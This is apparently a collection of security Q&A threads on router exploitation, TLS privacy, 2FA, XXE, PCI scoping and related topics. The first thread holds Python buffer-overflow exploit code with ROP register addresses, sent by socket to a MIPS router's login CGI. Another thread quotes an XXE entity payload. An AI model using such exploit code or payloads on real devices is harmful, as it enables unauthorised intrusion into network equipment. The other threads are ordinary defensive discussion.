Developing MIPS exploit in python memory address getting parse as a value I am trying to develop an exploit in python. but I am not able to write an proper exploit. Below are the scenarios were i am facing problem.

below is the HTTP request which occurs the crash

POST /cgi-bin/index2.asp HTTP/1.1
Host: 192.168.1.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/cgi-bin/index2.asp
Cookie: LoginTimes=1; SESSIONID=boasxxxxxxxxxxxxxxxxxxxxxxxxxxxx; TOKEN=413xxxxxxxxxxxxxxxxxxxx
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 126
Username=admin&Logoff=0&hLoginTimes=1&hLoginTimes_Zero=0&value_one=1&Password1=xsss&Password2=xsss&logintype=usr&Password=AAAAAAAA

Now the buffer overflow occurs brcause of password field so it is like A*1024+register S0+S1+S2+S3(Here i want to put shellcode)+ return address (which should point to shell code).
Now i want to write the python code which should looks like below

import socket
import struct
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158
buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep)
buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library
buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 JUNK
buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate mission
buf+="AAAA" #s7 JUNK
buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and s1 is filled before with ROP2 address which
buf+="B"*28+"\r\n" + "1\r\n\r\n"

And my current code looks like below

import requests
import os,sys,re
import struct
url = "http://192.168.1.1:80/cgi-bin/index2.asp"
cookies = {"LoginTimes": "1", "SESSIONID": "boasid055206d8b3d40bd82bdad6b693341bc3", "TOKEN": "413ab27aa9b4a94a003e3e9c080ec368"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://192.168.1.1/cgi-bin/index2.asp", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
data={"Username": "admin", "Logoff": "0", "hLoginTimes": "1", "hLoginTimes_Zero": "0", "value_one": "1", "Password1": "xsss", "Password2": "xss", "logintype": "usr", "Password": "AAAA1024 times\x02\xac\x14\xc30AAAA\x02\xac\x14\xc0AAAAAAAAAA\x02\xac\x14\xc0"}
requests.post(url, headers=headers, cookies=cookies, data=data)

So now my question is how can i send data= fileds in code mention in 3. because in above mention code there are HTTP headers but in my exploits fields are data not header. Or How can i send memory address in python requests module. or how can i send data in code mention in 3.

Thanks
S3curityB3ast

After spending some time with gdb and python finally i come-up with the code which can parse the Address as a address instead of String.

import socket
import struct
buf = "POST /cgi-bin/index2.asp  HTTP/1.1\r\nHOST: 192.168.1.1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nReferer: http://192.168.1.2/cgi-bin/index2.asp\r\nCookie: LoginTimes=0\r\nConnection: Close\r\nUpgrade-Insecure-Requests: 1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 1714\r\n\n"
buf+="Username=Bufferoverflow"
buf+="&Logoff=0"
buf+="&LoginTimes=1"
buf+="&LoginTimes_Zero=0"
buf+="&value_one=1"
buf+="&Password1=xss"
buf+="&Password2=xss"
buf+="&logintype=usr"
buf+="&Password="
buf+="A"*999 #Padding till T4
buf+="T4T4" #T4 Address 0x2BB30D5C kill address based on libc
buf+="T7T7" #T7 sleep address based on libc
buf+="B"*9 #Padding till T6
buf+= "T6T6" #T7 Address Sleep Address Based on libc negetive
buf+="K"*8 #Padding between T6to s0
buf+="S0S0" #S0 Address sleep address boa possitive
buf+="S1S1" #S1 Address Sleep Address Boa negetive
buf+="S2S2" #S2 Address Normal Sleep Adress
buf+="S3S3" #S3Address System Address
buf+="\xA0\x0E\xA2\x18" #return Address
buf+="K"*600
print buf
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.1", 80))
s.send(buf)

And The Final conclusion

Requests module parse the value as a string. and wen you use socket it parse the value as an address


On Mozilla's Add-ons site (AMO) what is happening with external links? On Mozilla's Add-ons site (known as AMO), all external links are directed through:
 https://outgoing.mozilla.org/v1/[UUID]/[destination URL]

As a random example, see the link in the Description section of this page:
https://addons.mozilla.org/firefox/addon/fastest-weather-forecast/
(Similar links are found for the Add-on home page and Support site links on that same page, as well as the link to http://weather.com in the Features section.)

What is the purpose of this redirection?

Is it intended to increase security?  If so, how?

Or is it a tracking mechanism?

The use of redirection pages can be for multiple reasons.

Issue a warning to the user that the pages is leading outside the original site network (legal requirements sometime)
Counting the usage of outgoing links
Filtering of addresses
Data scrapping

(this list is not exhaustive)

The first could be seen as a security measure, which makes the user aware of potential deceptions. Three can also be a security measure, but I don't thing that is usually done.


How is HTTPS/SSL able to hide destination website that one is connecting to? I understand how it is able to create a secure connection via the handshake, but how is it able to initiate a secure connection without first sending an unencrypted  request, thus revealing the destination website (but not the data sent or received from/to the destination...) to a potential "man in the middle" attacker...? or is it not hiding it?

Don't mistake security with privacy.

The task of SSL/TLS is security, not privacy.
This means the data itself are encrypted but meta data like source and destination IP, hostname (with SNI as used by all modern browsers), payload size and timing etc are not. And all these can be used to make a browsing profile of you which includes the sites you visit and sometimes even which pages you visit on the site (based on timing and payload size). But SSL/TLS makes sure that the non-public content (like cookies, form data etc) is protected against sniffing and manipulation.

If you want better privacy you need to combine SSL/TLS with something like Tor, but even this can not guarantee full privacy.


What security mechanisms are in place for iOS' custom keyboards? Apple has just announced iOS 8. The new version appears to be more extensible than previous versions, and one of the new possiblities is to allow developers to develop custom keyboards, different than the system's default.

Android has had this feature for quite some time. On Android, those keyboards are known as a possible security threat, most notably by acting as a keylogger.

Does iOS 8 prevent such malicious behaviour from happening? If so, what security mechanisms are in place?

There is also a safety feature built into the system itself, that prevents third-party keyboards to type into password fields - when you touch a password field the system will go back to the default keyboard temporarily.

By the way, I wouldn't trust Apple to verify that apps aren't malicious. A lot of apps use libraries provided by analytic providers, and while analytics by themselves are spyware, some of them are careless enough to transmit sensitive data (location, name, email) over plain HTTP and yet be accepted just fine in the App Store.


What is the difference between an electronic signature and a digital signature From Wikipedia:

  An electronic signature, or e-signature, is any electronic means
  that indicates either that a person adopts the contents of an
  electronic message, or more broadly that the person who claims to have
  written a message is the one who wrote it (and that the message
  received is the one that was sent). By comparison, a signature is a
  stylized script associated with a person. In commerce and the law, a
  signature on a document is an indication that the person adopts the
  intentions recorded in the document. Both are comparable to a seal.

  Increasingly, encrypted digital signatures are used in e-commerce
  and in regulatory filings as digital signatures are more secure than a
  simple generic electronic signature.1[2][3] The concept itself
  is not new, with common law jurisdictions having recognized telegraph
  signatures as far back as the mid-19th century and faxed signatures
  since the 1980s.

I was wondering what relations and differences are between
electronic signature and digital signature?
If digital signature is just a special kind of electronic signature,
what are other kinds of electronic signature?

Thanks!

An electronic signature is any author identification and verification mechanism used in an electronic system. This could be a scan of your real hand-written signature, or any kind of electronic authenticity stamp. It's a generic term that covers a lot of authenticity measures.

A digital signature is a type of electronic signature. It is a signature generated by a computer for a specific document, for the purposes of strong authenticity verification. For example, in asymmetric cryptography, a private key might be used to sign a hash of a document, which anyone in possession of the corresponding public key can verify but not forge. It also prevents modification of the document after the signature is generated. This allows one user to place a digital signature on a document, and many other users to verify that the signature is correct.

A digital signature scheme might work as follows:

Alice generates an asymmetric key pair (e.g. RSA)
Alice computes a cryptographic hash (e.g. SHA256) of the document.
Alice encrypts the hash using her private key.
Alice makes her public key available to anyone who wants it.
Bob downloads the document and a copy of Alice's public key.
Bob computes a cryptographic hash of the document.
Bob decrypts the signature value stored in the document using Alice's public key.
Bob compares the decrypted hash with the hash he computed. If they match, the document is authentic.

In the next scenario, Eve fails to subvert the process:

Alice publishes her public key and the signed document.
Eve downloads them, but wants to modify the document. Since Eve only has the public key, she cannot forge the signature.
Eve modifies the document anyway, and gives it to Bob.
Bob opens the document and checks that the hash matches the signature. It does not, so he knows that the document has been modified or the signature forged.

Disclaimer: IANAL - In terms of legal standing (at least in the UK, pretty sure the US too) an electronic signature, in the form of a scanned image of the signer's hand-written signature, is considered to be legally binding. However, it is often trivial to extract the signature and use it on other documents without the author's permission. In the case of a dispute, most courts require some sort of digital signature of authenticity to prove that the electronic copy of the physical signature is authentic.


Could a compromised WP database cause re-infection without the hacker needing to login into WP? Is it possible that a compromised WordPress database could somehow be used to re-infect a website?

I'm not talking about the hacker decoding user passwords and login into WP.

I'm talking about the hacker making use of a compromised database to re-infect a website WITHOUT having to login thru WP Admin.

Thanks!

EDIT: I have a friend whose website was hacked. The hacker injected encoded javascript codes in a number of files that call for more external JS files from another compromised site.

Despite updating the WP core + plugins + cleaning the infected files, and changing all the passwords (server, database, WP salt, etc.), the site was re-infected.

So I suspect the database could have been tampered with. Instead of hard-coding the malicious javascript code in a file, could the hacker embedded it into the database so when WP loads the database contents dynamically onto a page, the malicious code is also loaded?

Once an attacker has obtained remote code execution on  the server,  the first step is to setup persistent access.  Two common ways this is done is by modifying a php file,  or by adding a new .php file to the web root.

If the infection is creating spam blog posts, or other unauthorized database modifications    then it maybe possible the attacker has persistent access to the database.   Believe it or not,  there are still a lot of hosting companies that permit anyone on the internet to login to your database. To make matters worse, database credentials are almost always stored in plaintext in the wp-config.php file.  Database access must always be limited to trusted hosts using a firewall or some other network-based access control.

Reinstall from scratch, change all passwords, keep everything updated.


Review of approach to client-side only hashing and encryption for web application Background: I have little knowledge of hashing and encryption, so please bear with me.
I have posted a related question here: https://softwareengineering.stackexchange.com/questions/232261/options-for-client-side-encryption-of-local-web-databases for the programming perspective, which may give some background. That question was about the general feasibility of the overall product. In a sense, this question is a follow-up, about the actual implementation, but as it is more technical on the security side I felt it would be better posted here. Feel free to post on either question/both questions as appropriate.

I have been tasked in securing local data for a web application that can be used offline, so interaction with the server for authentication and encryption is not an option. This would be optional, for users who would like an extra layer of protection on top of the hardware encryption.

The application will be for a single user per device. The goal is to try and reduce the risk of unauthorised access to sensitive data if a device is lost or stolen.

My initial ideas of how I could do this are:

Require the user to enter a password every time the application starts.
Hash the password using PBKDF2, storing the hash and the salt locally, e.g. in WebSQL.
User would then enter their password, it could be re-hashed using the loaded salt and compared against the stored hash.
Store the password in a JavaScript variable locally, perhaps using a different hashing method to what is used to store in the database?
Use this as a key for encrypting and decrypting (using AES) data in the database.

The local data will be encrypted - however the encryption/decryption logic will be evident from looking at the JavaScript source code. So the key used to encrypt/decrypt cannot just be the stored, hashed password, as that would be obvious.

Q: How could this approach be improved? Would hashing the password in two different ways, one for storage, and one for encryption/decryption, be sufficient? Is there anything more that I could be doing, bearing in mind the limitations of working with web storage and without a server/external hardware to assist?

Also - although the user will be working offline with the application, so the data needs to be local and encrypted, there will be an initial connection to the server to actually download the application. So if there is anything I can do based on that initial connection that might help then let me know.

You are going about it wrong.  There is no point at all to a hash for authentication if the comparisons are being done locally because an attacker can simply inject the hash value directly into memory and bypass the authentication check.

For local purposes, you have to use something like your second part of your idea, but that part should be done using existing standards.  What you need is a key derivation function.  A key derivation function is an algorithm that can securely take a password and use it to form an encryption key.  Since the keys that are built are frequently relatively weak, it should be used to encrypt a truly random key which is then used for the actual encryption and decryption of the DB.

Using an encryption based approach, it becomes irrelevant if the user forces a key in to memory because they will be unable to access the encrypted data.  The encryption itself acts as both the authentication and data protection mechanism.  (If you want a way to verify proper decryption, you can always encrypt a known value and check the decryption of that value.)


Redirect OWASP ZAP IP:Port to localhost like in Burp I want to intercept an application. It connects to an IP and port. I have to connect to localhost:443 to make it work (there's a gateway that routes depending on the port).

In Burp I was able to set an invisible proxy on the local interface (not 127.0.0.1, 192.168.x.x) listening on port 443 and redirecting it to 127.0.0.1:443.
Interception worked. Since Burp does not support Websocket testing I want to use OWASP ZAP, because it has a native support for Websockets and fuzzing and stuff.

Is there a way in OWASP ZAP to redirect the traffic the same way like I did in Burp? Edits in the hostfile won't work since I can't map 127.0.0.1 to 127.0.0.1.

//short: I want the listener from the following picture (Burp) in ZAP.

in the menu bar go to Tools -> Options -> local Proxies

This blog post contains some infomration on how to intercept traffic with OWASP ZAP


Securely generate and store public/private keys on Android I am making a web application that distributes data encrypted with the public keys of its clients. At this moment this is working for dedicated devices which I distribute myself. Before they are shipped, I flash the public/private keypair into the devices firmware.

However since this is 2017, I also wanted to make an android application to make any android device act like one of the devices I sell, since this is easier for customers. The only bottleneck I am experiencing is the distribution of the keys.

I can generate a public/private keypair at the Android device upon first start of the app, and securely store them in the internal storage, but I need to find a way to send the generated public key of the Android device to my server, so my server can encrypt the data with it.

The reason why I cannot simply send the public key as a HTTP request to my server is, that I do not want someone with a computer to be able to generate a public/private keypair and send that to my server to also be able to receive data as. It's very easy to decompile Android applications or use wireshark to find out the url used to register new keys.

If I were to use this way, how would I verify at my servers end that the request is originating from a legitimate Android device?

Exactly as Limit states, and thanks to this answer, the correct way would be to:

Generate a keypair for encrypting on your dev server
openssl genrsa -des3 -out private.pem 2048
openssl rsa -in private.pem -outform PEM -pubout -out public.pem

Store the public key in the application code, doesn't matter where. This will be used in the function at step 5. Maybe obfuscate the code to prevent altering of the encrypting mechanism. (encrypting will only prevent tampering in transit with something like burp proxy. smali skills anyone?)

Generate a keypair on the device ( you mentioned you had this down, but just in case anyone wonders )
public static KeyPair getKeyPair() {
    KeyPair kp = null;
    try {
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("RSA");
        kpg.initialize(2048);
        kp = kpg.generateKeyPair();
    } catch (Exception e) {
        e.printStackTrace();
    }

    return kp;
}

Isolate the public keys and store them where you want. Store the private key in the secure store.
KeyPair clientKeys = getKeyPair();
publicKey = clientKeys.getPublic();

Encrypt the client public key with the embedded dev public key so you can send it home.
public static String encryptToRSAString(String clearText, String publicKey) {
    String encryptedBase64 = "";
    try {
        KeyFactory keyFac = KeyFactory.getInstance("RSA");
        KeySpec keySpec = new X509EncodedKeySpec(Base64.decode(publicKey.trim().getBytes(), Base64.DEFAULT));
        Key key = keyFac.generatePublic(keySpec);
        // get an RSA cipher object and print the provider
        final Cipher cipher = Cipher.getInstance("RSA/ECB/OAEPWITHSHA-256ANDMGF1PADDING");
        // encrypt the plain text using the public key
        cipher.init(Cipher.ENCRYPT_MODE, key);
        byte[] encryptedBytes = cipher.doFinal(clearText.getBytes("UTF-8"));
        encryptedBase64 = new String(Base64.encode(encryptedBytes, Base64.DEFAULT));
    } catch (Exception e) {
        e.printStackTrace();
    }
        return encryptedBase64.replaceAll("(\\r|\\n)", "");
}


What security implications are there for allowing outbound SSH traffic? My school currently blocks outbound SSH traffic. Users inside the network cannot use Port 22, and attempting to make an SSH connection over another port is also blocked. (I'm assuming the firewall drops any packets that seem to use the SSH protocol.)

The excuse given for this is that allowing outbound SSH traffic would put users inside the network at risk, and that it would allow "port forwarding". (Their words not mine) Translated, I think the administrators are worried that a virus on a user's computer might try to use SSH to contact Command and Control servers. I think they also want to keep the port closed because it could be used for proxy connections, TOR, and the like.

To my knowledge, most of the present-day "active" viruses aren't using SSH for C&C. Also, a proxy could be established over any port, could it not? Such as 80, which is of course already open for regular internet browsing?

I understand that there are implications of inbound SSH connections, but I don't see how not allowing students to make outbound connections really improves security all that much. For one, it prevents me from using Github and Heroku, which I need for my outside job.

Could someone please respond with either more, better reasons why outbound SSH should be blocked or (preferably) with reasons why this network policy is irrational?

I think they also want to keep the port closed because it could be used for proxy connections, TOR, and the like.

Yes, that's the most likely explanation.

It is possible that malware would go outbound using SSH to hide it's traffic.  It's also possible that malware, or users, could use SSH remote port forwarding to permit "inbound" connections that are blocked by the firewall.  These are valid but probably lesser concerns for your school.

Their primary issue with SSH is probably not that it allows these tunnels, which as you point out could go over other ports and other protocols, but that it hides them beneath encryption, and blocks the ability of the administrator to control what the network is used for.  While other tools can do this too, SSH is "out of the box" and represents low hanging fruit for them to block.

  Could someone please respond with either more, better reasons why outbound SSH should be blocked or (preferably) with reasons why this network policy is irrational?

Their technical reasons are valid but possibly a little specious for (a school's) level of security requirements.  The administrative reasons are valid to them, but irrational to you.  Unfortunately for you, it's their network.

Where I expect you'll be tunneling SSH-over-SSL sometime soon.


Do more credit cards get stolen through public WiFi than through data breaches? I was listening to a podcast the other day which was sponsored by a VPN provider. During the talking points for the advertisement, the host said something to the effect of the following (I'm recalling this from memory, but this is the gist)

  Have you ever had your credit card hacked? Be wary of using public WiFi networks when purchasing something, the networks are full of hackers attempting to steal your information. In fact, the number one way that credit card details are stolen is through hackers downloading them via coffee shop wifi. With VPN Provider you can count on a safe experience...

And then goes on to tout the benefits of a VPN. However, this claim doesn't sit right with me. Are more details stolen through public WiFi interception than, say, data breaches from major retailers? Or is this a case of "coverage bias" where large breaches get more news coverage (and therefore more recognition)?

Most likely not.

"Public Wi-Fi" has an incredibly bad reputation, back from when it first became popular to have publicly accessible Wi-Fi. Back in the late 00's, it became a more and more common sight for coffee shops and other establishments to offer free Wi-Fi for guests. This coincided well with the rise of the iPhone and the subsequent smartphone boom.

The problem was, that back then, "Secure by Default" was not really a thing. We worried more about getting stuff to work than to get it to work securely. Many websites just offered plain HTTP, with HTTPS being considered "just for banking" or other such things.

Mixing plaintext protocols with open Wi-Fi is not a good idea, and many tools from that time are designed just for the purpose of listening to HTTP traffic around them and scraping login-data and session tokens out of the air. But even back then, credit card data was mostly transmitted via HTTPS.

What about now?

The internet today looks different from the internet back then. The rise of Let's Encrypt made it possible for everyone to get a HTTPS certificate without any monetary investment, making it possible for even the smallest deployments to be HTTPS secured. We also got rid of a lot of anti-patterns, such as offering different content based on whether the request was HTTP or HTTPS, which in turn allowed the widespread deployment of HSTS, a HTTP header designed to get users to use HTTPS whenever possible.

As a result, public Wi-Fi has become a lot less dangerous than it used to be. Even if one were to enter their Credit Card data in a form while connected to a public Wi-Fi, the chances of it being stolen are relatively small - assuming that they follow common security advice (e.g. don't click TLS errors away, make sure you use HTTPS, etc.).

In regards to data breaches, I don't have any concrete data as to how many credit cards are leaked via breaches versus stolen through public Wi-Fi. However, storing Credit Card data is really difficult, because you can't just hash it like a password. It needs to be available in reversible form, and that's not easy to do. As a result, just from a pure gut-feeling, I would say it's more likely to have your credit card stolen from a data breach than through public Wi-Fi.

What about VPNs? Would they help?

Not really. All that a VPN does is to connect you to a VPN endpoint and send your request from there. Sure, the connection to the VPN endpoint may be encrypted, but that really doesn't change anything in the overall situation. If your traffic was plaintext to begin with, you now exchanged "Hoping that nobody in this Coffee Shop will steal my data" with "Hoping nobody in that Data Center will steal my data", which only marginally sounds better.

The reason why they advertise VPNs as the silver bullet to security is simple: Common folks don't know a lot about security. They've heard about IT security, about encryption, about hackers, etc. but they really don't have any deeper understanding. That's not a jab at laypeople - I don't know anything about how a car works, about UX design or how to cool pizza that tastes good - it's just the reality of things.

The problem is that VPN providers use scare tactics like this to get consumers to buy their product, under the false pretense that it'll make their life better. A regular consumer has no way of verifying that claim. They can use a VPN religiously and can't really know if it helped them at all or not. Even more tech-savvy users have no way of knowing that, because I highly doubt any VPN provider would allow customers to check out their data center, get a feel for the company culture or conduct a penetration test of their infrastructure. All in all, the vast majority of Average Joe's out there don't need a VPN.


Do I need fail2ban if I have a strong password? Is there any advantage to me installing fail2ban on my VPS web server? As far as I understood, fail2ban's only purpose is to stop bruteforce and dictionary attacks by preventing consecutive password logins from the same IP addresses.

If I have a 12 character password randomly generated and containing lower case, upper case letters, 0-9 digits and symbol characters on a standard US keyboard that all amount to 69 bits of entropy (according to keepass), is there any realistic scenario where bruteforcing my ssh root login can breach my always online VPS?

Even if you have a password that is very strong, it's best to block attacks immediately, preferably at firewall level - something that fail2ban and other similar tools do.

You could do nothing and let the hackers pound in vain against your server forever, but that is a waste of CPU and bandwidth. There is no reason why you should allow this.

In addition to these precautions, you should still try to minimize your attack surface, for example you could restrict SSH access to a few dedicated IP addresses if that is an option for you. The idea is to expose as few services as possible.


Securely store two values per user in SQL I have come across the need in my web app to store two values for each user. These values would need to be retrievable from a value stored in a URL. I would prefer to store neither of the values in plaintext.

I've been wondering if there would be a way to use a two-way encryption technique here where I would generate a value to be sent in a URL that would be generated in my app, given to the user, then deleted. The app would then be able to unencrypt the value from within the PHP of the link for the URL.

Any suggestions?

The question to ask is: should the server be able to access the value ?

If the server must be able to access the value, then the "encryption for storage" is just an illusion. An attacker who gains control of the server will be able to read the values, since such an attacker can do whatever the server can do. You might want to apply some "encryption" on the database itself if you consider the database to be "less secure" (or "distinctly secure") than the server (i.e. you envision an attacker who gets a read-only peek at the database, e.g. by stealing a backup tape); in that case, you'd better apply a whole-database encryption system, which will be more comprehensive, simpler, and more efficient, than simply concentrating on your two values (in Microsoft's SQL Server, this is called Transparent Data Encryption).

If the server must not be able to access the value, then the client application must do the encryption and decryption -- which raises the issue of key management. The client application must have a user-specific key which it stores and then uses to decrypt and encrypt the data. There is ample room for blunders here, so you'd better choose a well-vetted protocol and format for that. One way is to encrypt the data with a key derived from a user password; the OpenPGP format has some support for that.


Which telephone numbers do Google use for Two factor verification codes? I have several Google verification codes sent from an account called "Google" and also some other Google verification code received that were sent from four different phone numbers. Do Google use multiple different phone lines for sending out verification codes? How can I tell whether these codes are actually sent from Google?

How can I tell whether these codes are actually sent from Google?

You can't.

I can now send you a code from any number/any name I want and you would probably believe it came from Google.

When you try to input the code I sent you to the 2FA it will not work verifying that I am indeed not Google.

EDIT:
For anyone reading this in 2020 Googles stock Android sms app(Messages) will now verify who the message is from.
If it doesn't say that it is from Google I would suggest that you don't use it and request a new code. Or don't login to that account until things are figured out.

  Do Google use multiple different phone lines for sending out verification codes

Google probably uses a 3rd party service for sending the SMS. Even if they didn't, in order to scale they would need multiple lines since most carriers have SMS limits.


Best practices for storing 2FA recovery codes I’ve recently started using 2FA on a bunch of services and I’m not sure how to best store the recovery codes. I can think of 3 options:

In a secure note on LastPass
In a Dropbox folder
On a usb stick

All of them seem to have their respective pitfalls though:

In the case of lastpass: My passwords are all random strings about 20 - 30 characters long (based on the services password policies). So I doubt anyone’s going to be able to guess or brute force a password to one of my accounts. Therefore the most likely way I’ll have a compromised account is if someone compromises lastpass - in which case 2FA would be pointless if the security codes were also stored there.

In the case of Dropbox: The most likely reason I’ll need the security codes is if I lose my phone - but then I wont be able to access Dropbox anyways because I have 2FA enabled there too so those recovery codes will all essentially be lost.

In the case of a USB stick: This seems like the equilavent of writing passwords on post it notes - easy to lose/forget or may just not work 10 years down the line when its needed.

Out of the 3 the usb stick seems like the best option but I was wondering if anyone has come up with a better way of storing recovery codes? Also if physical storage is the way to go is there a preferable medium for this? Perhaps some sort of storage that is durable over a long period of time and likely to stay relevant into the future?

First of all, let's clarify that 2FA recovery codes are used to bypass 2FA itself.

2FA's main purpose is to make sure that you provide a secret from two different "channels", for example, something you know or something you have.
The password is something you know and the recovery codes, if kept in memory (your brain or your computer's hard disk) is also something you know.
Without going into too much discussion about the security of these recovery codes, it seems obvious to me that the "something you have" factor works better when completely outside the virtual world. That is, keeping the codes in a piece of paper, or small pieces of paper for each code, may be the best option IMHO.
Clearly encrypting it and storing it in the cloud or in a separate computer/device/usb may work, but eventually you need to decrypt and access these codes in plain text. In an emergency it may not be ideal or if your systems/network have been compromised, the unencrypted codes might be accessible to an attacker.
Therefore, I believe that if you print the code and keep in your wallet for example you maintain the secure properties of 2FA.
One may need to reconsider it if travelling by plane as the officials might be able to force you to provide your password and confiscate your wallet. So just a note to be aware of :)


Infecting peers downloading files using BitTorrent protocols I have read about BitTorrent protocols and how uTorrent works specifically. The main idea is that instead of many clients accessing the same server for downloading a file, different parts of the file are given to the clients, and then it is shared among the peers (peer to peer). Therefore, improving efficiency and download speed by decreasing the overload on the server.
What if we look at it a little bit differently. We do take advantage of more commuters, but, those machines also gain others' trust. Unlike a sole legitimate server, malicious users can join a p2p download session and share fake info instead of the real content of a file.
For example, consider the following. Two users (user1, user2) are trying to download a jpg image. Each of these users is responsible for sharing their part of the image to the other peers (in this case only one). The public server is responsible for 1/3, user1 is responsible for 1/3 and user2 is responsible for 1/3. What happens if user2 decides to forward fake data to user1? Theoretically, it can control 1/3 of user1's image.
This example can be used with any other file format (exe, libraries, or any other files which can theoretically lead to remote code execution).
I know, it is possible to detect this by comparing the file signatures with the original server. However, do BitTorrents protocols do this?
Is this technique even possible at all?

Is this technique even possible at all?

No, it's not possible. You are missing a key part of the process, the .torrent file. And the original server does not exist.
That file specifies the filename, the size, how many chunks the file have, and the hash of each one. And that is not attacker-controlled.
When your BitTorrent client wants to download something, it starts with the .torrent file. It will look at the file, and connect to a tracker. The tracker is a server that does not host any file, but instead hosts a list of all pieces he sees and who have which piece. Your client look at the pieces he needs and ask the tracker for people that have that piece.
Now your client will connect to someone (called a peer), and ask a piece of the file (usually the piece which less people have). If the attacker changed the piece to a malicious one, your client will finish downloading, and hash the piece, only to discover it does not match the hash on the .torrent file. It will mark the piece as corrupted and download again, probably from another peer.


PCI-DSS scoping when there is no CDE We are a merchant who processes over 2m transactions a year. However, we have outsourced all the payment functions to compliant 3rd party providers. Understand that PCI is about people, process and technology and we have ensured none of our business processes need full PAN in any of our systems or processes and therefore there is no CDE.

Do we STILL need to have secured firewalls, development methods, manage access etc if we do not have a CDE ourselves.

Understand that these are required from a best practice and from a security perspective. Would be great to know from a PCI perspective?
Question arises from the fact that even if someone is into our firewalls/network, there is no chance that they will get any clear text pan

From a PCI perspective, you're responsible for verifying that the third parties to whom you have outsourced various responsibilities are compliant for the services they are performing on your behalf. To achieve this, you should enumerate those service providers and responsibilities of each and review their Attestations of Compliance, perform due diligence on engaging and annually.

Given your volume, you can self-assess as a merchant - you'd likely require completion of Self-Assessment Questionnaire A wherein you would respond to requirement 12.8 in relation to the above processes.


XML External Entity injection within the body of a document If you Google for an example of XXE injection you get something like this:

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

where the attack is carried out from within the DTD - so at the very top of a document.

Is it instead possible to inject XML External Entities from within the body of an XML document rather than its DTD and, if so, how?

EDIT: As an example, we have a system that generates XML documents with some user-provided data from a database. The system does escape those values using CDATA but doesn't do anything else to it, so you (as a - malicious - user) could easily store some data to close the CDATA section and write XML. So long as the XML is correct and passes some XSD validation, the system is a happy system.

EDIT: Could xs:import (or similar) be used?

You should be OK, if the XML parser is compliant. Per the XML 1.1 spec,

  The document type declaration MUST appear before the first element in the document.

However, it wouldn't be unheard of for an XML parser to fail to enforce this restriction. An XML doc with a <!DOCTYPE tag following the first element would not be well-formed, but might still be treated as though it were by some parsers, in the same way that malformed HTML is often tolerated by browsers.

Additionally, an attacker could close the entire XML document, and start a new one. The new one would not have any elements in it yet, so the doctype could be put in its correct location. The question then would be, what does your parser do with two (well-formed) documents when it only expected one?


What happens to a certificate's Basic Constraints when a policy map is used? One feature of a Basic Constraint when applied to a certificate (CA or end certificate) is that I can specify the maximum number of CAs that are permitted in the chain.

I'm planning on having a 2 tier CA system and setting the basic constraints path=1 on the Root CA, path=0 on the Intermediate CA.

What would happen if there was a policy mapping between my PKI and a second PKI?  How would the path length be affected if the two PKIs had different values for "path="?

I'm asking so that I don't prevent interoperability with other CAs.

Certificate policies and basic constraints are completely orthogonal issues. Policy mappings impact the processing of the "policy tree" but do not change the length of the path, and do not make a CA certificate a non-CA or vice versa.

Are you sure you want to use an explicit path length in the Basic Constraints ? This is rarely done; as such, it is quite possibly mis-implemented by some certificate validation engines. Setting an explicit length is used to give to a sub-CA the power to be a CA (i.e. issue certificates) but to prevent them from delegating that power to a sub-sub-CA. It takes some effort to find a situation where such a restriction makes sense: if a CA considers its sub-CA as a potential attacker, then there is something definitely rotten in the kingdom. Said otherwise, an hostile sub-CA already has tremendous power of nuisance even if it cannot issue a sub-sub-CA.

I would advise, for better interoperability, not to include an explicit length in the Basic Constraints extension. Mark CAs as CAs and non-CAs as non-CAs, and that should be enough.


Clonezilla for forensic disk image I was wondering if it's reasonable and forensically correct to use Clonezilla for the image of an attacked machine.
Since some of the commercial products are very expensive I'm turning to open source solutions.
Provided that:

is an offline copy (the compromised disk is not live)
it's Linux based and uses partclone (or dd, but I'm not sure about that one)
with the help of the advanced options you can encrypt the copy, hash it and copy "empty" sector

In forensics, is the RAW filesystem of the image a requirement or is it not that important?

No Clonezilla is not a Forensic tool. Even using it for incident analysis is not recommended. Can it be useful, yes, but there are better free tools available for forensic and incident analysis.
Yes RAW filesystem is important. It's where all the deleted files and fragments exist.


Risk of configuring MySQL for remote access with a dynamic IP address? I'm looking to make a MySQL database on a VPS, accessible to my home PC through cPanel. cPanel wants the domain name or IP address of the remote machine. However, with standard DSL, I have a dynamic IP address.

Now, according to the docs, I can use a wildcard in the IP, so I could use 123.45.67.% as my authorized remote machine.

